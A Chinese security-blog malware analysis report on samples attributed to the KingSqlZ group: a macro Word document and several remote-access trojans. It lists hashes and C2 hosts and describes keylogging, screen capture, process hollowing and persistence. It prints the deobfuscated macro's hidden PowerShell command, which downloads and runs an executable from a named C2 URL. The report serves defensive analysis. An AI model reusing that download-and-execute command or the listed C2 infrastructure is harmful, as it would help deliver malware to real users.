针对KingSqlZ组织一次攻击的分析报告

阅读量    36968 | 评论 11   稿费 411

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

0x1 IoC

0x1.1 Hash

本次一共截获了两个和KingSqlZ组织有关的可疑样本,其中有一个是一个doc样本,通过使用宏进行文件传播,IOC如下:

  • 样本名称:4fb43047463380ae25cb7684433f6a7e4f4b8b1669048291aca20182877a2810.doc
  • 样本Hash:4fb43047463380ae25cb7684433f6a7e4f4b8b1669048291aca20182877a2810
  • 样本类型:ole文件(带宏)

另外一个是一个PE文件。IOC如下:

  • 样本名称:298ee13829733e23557b5f0db3d93768c0665260be17dc9010288d33ca6fe77f.exe
  • 样本Hash:298ee13829733e23557b5f0db3d93768c0665260be17dc9010288d33ca6fe77f
  • 是否加壳:无壳
  • 编译语言:maybe C++ Visual Studio 201x or Asm demo/example [DebuG]

以及这两个样本释放的其他样本的IOC(不包括内存转储):

  • 2d69c9a9622b9b812db1833caec237995eedd0dee59ece53bd359e7083023f47
  • 9211473ae545a0248b4ef4bb1bea1acffc1ec85ecb42194984266416720a7f73
  • c242bfb6aa6d47087d77d25955bd48a5421fb0353049828ec99d44e119874b7a
  • 7a01dd19b5a74e7023d19a19065f49fb013c9f0f7fee974d717d46a8369b8e60

0x1.2 C2

  • http://www.gestomarket.co/ylqrg54.exe
  • asdfwrkhl.warzonedns.com
  • linksysdatakeys.se
  • 67.228.235.93
  • 187.136.91.177
  • 187.155.84.184
  • 31.13.73.17
  • 67.228.235.93
  • 31.13.73.23
  • 74.86.228.110
  • 187.155.84.184
  • 69.171.239.11
  • 187.155.47.67
  • 66.220.147.47
  • 31.13.86.1
  • 31.13.75.17:2404
  • 备注:这些主机本身不具备相关性,因为他们都是由于被该组织渗透成为该组织攻击的跳板

 

0x2 行为分析

名称统一使用Hash的前几个字符加后缀的方式命名。主要操作是远控类木马。

mark

mark

0x3 样本分析

0x3.1 4fb430.doc

是一个doc宏病毒样本,通过使用oledump获取其中的宏代码。

mark

发现宏代码被混淆严重,去混淆结合沙箱的结果推测具体行为如下:

  • 宏代码调用cmd,解密其中的十进制数据。
  • 接着调用powershell。下载massive.exe
  • powershell.exe -w hidden -ep bypass (New-Object System.Net.WebClient).DownloadFile(‘http://www.gestomarket.co/ylqrg54.exe’,$env:temp + ‘massive.exe’);
  • 运行massive.exe

0x3.2 massive.exe

首先这个样本是一个C#程序,使用ILSpy查看源代码。

mark

将程序定位到关键的地方。发现这个样本也只是一个外壳程序,用于从攻击跳板上获取攻击代码,然后将其写入我们的内存中,从内存中执行攻击代码,实现了无文件落地,有效规避了查杀。

mark

mark

使用进程替换技术,先创建一个和自身相同的子进程,然后使用进程替换进程,执行我们的攻击代码。但是由于C#不好被调试,所以将其子进程转储得到我们落地的攻击样本如下,命名为DumpFrommassive.exe

mark

mark

0x3.3 DumpFrommassive.exe

创建一个互斥体,然后获取多个API函数地址

mark

接着判断是否是X64系统,然后通过注册表SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName获取系统的版本信息。

mark

当判断是xp系统,就去获取HKEY_CURRENT_USERorigmsc数据,但是分析机器上未发现这样的键。

mark

利用注册表HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem 关闭UAC通知

mark

通过当前的环境变量获取特殊目录的路径

mark

获取目标进程的相关信息包括模块和32/64位进程,这个进程是由于注册表中的数据决定。

mark

由于转储很多静态数据丢失,过于细节的数据没有办法复现。

mark

mark

mark

由于该组织使用渗透的方式,得到多台服务器的控制权,让这些服务器充当此次攻击的跳板机和C2

mark

通过设置键盘钩子的形式,记录键盘输入,和剪切板数据

mark

mark

mark

mark

创建新线程,执行截图

mark

mark

mark

mark

创建新线程进行音视频传输

mark

清空主流浏览器的COOKIE和保存的表单(账户和密码),这样就可以在用户重新输入密码的时候记录下来。

mark

mark

获取用户名,机器名称,主要是识别作用

mark

关闭数据执行保护DEP

mark

执行后门远控操作,主要的行为有键盘记录,截图,视频,发送数据,联网下载数据,检索服务,创建开启服务,程序执行,傀儡进程,提权关机。

  • 提权关机
    mark
    mark
  • 键盘记录
    mark
  • 发送键盘输入数据
    mark
  • 安装软件信息,并发送
    mark
  • 从Internet上读取可执行的shellcode,并执行
    mark
  • 获取进程列表
    mark
  • 利用管道实现和C2之间的数据交互
    mark
  • 截图
    mark
  • 键盘区域
    mark
  • 删除,清空文件
    mark
  • 清空COOKIE和用户名密码
    mark
  • 音视频
    mark
    mark
  • 从Internet上下载数据并执行
    mark
  • 获取服务相关信息
    mark

综上,对此样本定性为后门远控类文件

0x4.4 298eeexe.exe

0x4.5 2XC2DF0S.exe

  • SHA256为2d69c9a9622b9b812db1833caec237995eedd0dee59ece53bd359e7083023f47,查壳是UPX的壳,ESP拖一下.
    mark
  • 主要使用了SMC技术
    mark
  • 根据动态分析,可以得到样本创建了fyhgzmilgyvvgdu.exe和「开始」菜单程序启动创建fyhgzmilgyvvgdu.eu.url。创建url的目的是实现了fyhgzmilgyvvgdu.exe的自启动
    mark
    mark
    mark
  • 创建自身子进程,并进行进程替换
    mark
    mark
    mark
  • dump出傀儡进程的PE数据,命名为DumpFrom2d69exe.exe_
    mark

0x3.6 DumpFrom2d69exe.exe_

  • 首先样本会先链接到C2服务器asdfwrkhl.warzonedns.com,当确认链接上asdfwrkhl.warzonedns.com,此时会从C2上接收数据
    mark
    mark
  • 然后将自身路径写入SOFTWARE_rptls注册表中,但是注意的是这个是从2XC2DF0S.exe转储出来的,所以原始的模块名应该是2XC2DF0S.exe。加载资源文件,然后有个函数是解密shellcode,然后在把加载入内存的资源文件作为参数传入,初步怀疑应该从内存中执行。这样有效避免了查杀。将资源文件命名为Resource.bin
    mark
    mark
    mark
    mark
  • 直接就是一个后门程序的主体框架。主要包括三大类的功能,第一交流通信,第二,下载执行,第三,信息记录,第四,测试退出,第五驻留操作。
    mark
  • 第一:通信交流
    mark
    mark
    mark
  • 第二:下载执行,但是由于分析的时候,没有处于攻击窗口期,所以没有办法了解到此次下载的是何种程序,然后加载了一些网络库,运行时库
    mark
    mark
    mark
  • 第三:信息记录,主要是键盘记录,和常见的手段一样,使用了钩子技术,截获用户的键盘输入,并记录按键信息,把并发送个C2服务器
    mark
    mark
    mark
    mark
  • 第四:结束退出,也就是,断开连接,终止线程,删除自身
    mark
    mark
    mark
  • 第五:驻留操作。包含了释放资源,运行服务,添加用户等
    mark
    mark
    mark
    mark

0x3.7 Resource.bin

  • 释放C:UsershackyAppDataLocalTempdismcore.dll和C:UsershackyAppDataLocalTempellocnak.xml
    mark
    mark
  • 然后调用C:Windowssystem32pkgmgr.exe,安装安装KB929761更新包,可能目的是排除竞争者
    mark

0x3.8 dismcore.dll

  • 读取SOFTWARE_rptls的值,这个是其实是2XC2DF0S.exe的路径,然后截取去文件名。检查进程列表中是否存在这样的进程,有则关闭,然后在重新创建一个进程即可!
    mark

 

0x4 yara规则编写

  • mark

0x5 后记

学习样本分析两年了,从最开始的简单的蠕虫到后来的勒索病毒,再到挖矿病毒,再到现在的APT样本。总结一下,样本分析最重要的是心细和心诚。心细不多说。何谓心诚,心诚则灵。对于样本,我们也需要有敬畏之心,需要刨根问题,也就是说,作为一个合格的病毒分析师,首先你需要判断文件黑白,但能够辨别黑白也只能给你打60分。如何成为一个优秀的病毒分析师?在于刨根问底,在于洞悉原理,不是简单的知道样本执行了什么操作。肉眼看到的仅仅都只是表面现象。就像这个样本那个宏一样,肉眼可见其实释放了一个exe,但是他是怎么释放的呢?你一概不知,这样你可能就失去了一个可靠的情报,或者说你很有可能凭借这过于自信的判断。导致你对这样本的判断是错误的.但是这对于用户来说是致命的。

专科学技术,本科学原理,博硕学辩证。对之于样本分析同,仅仅是懂得辩黑白仅仅就是专科的水平,不屑于言之,若能明晓原理,可达登堂入室之功,最后是辩证,也就是知道为何这样做是可行的,这样做是不可行的,不可行之处在于何处。以上与君共勉。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多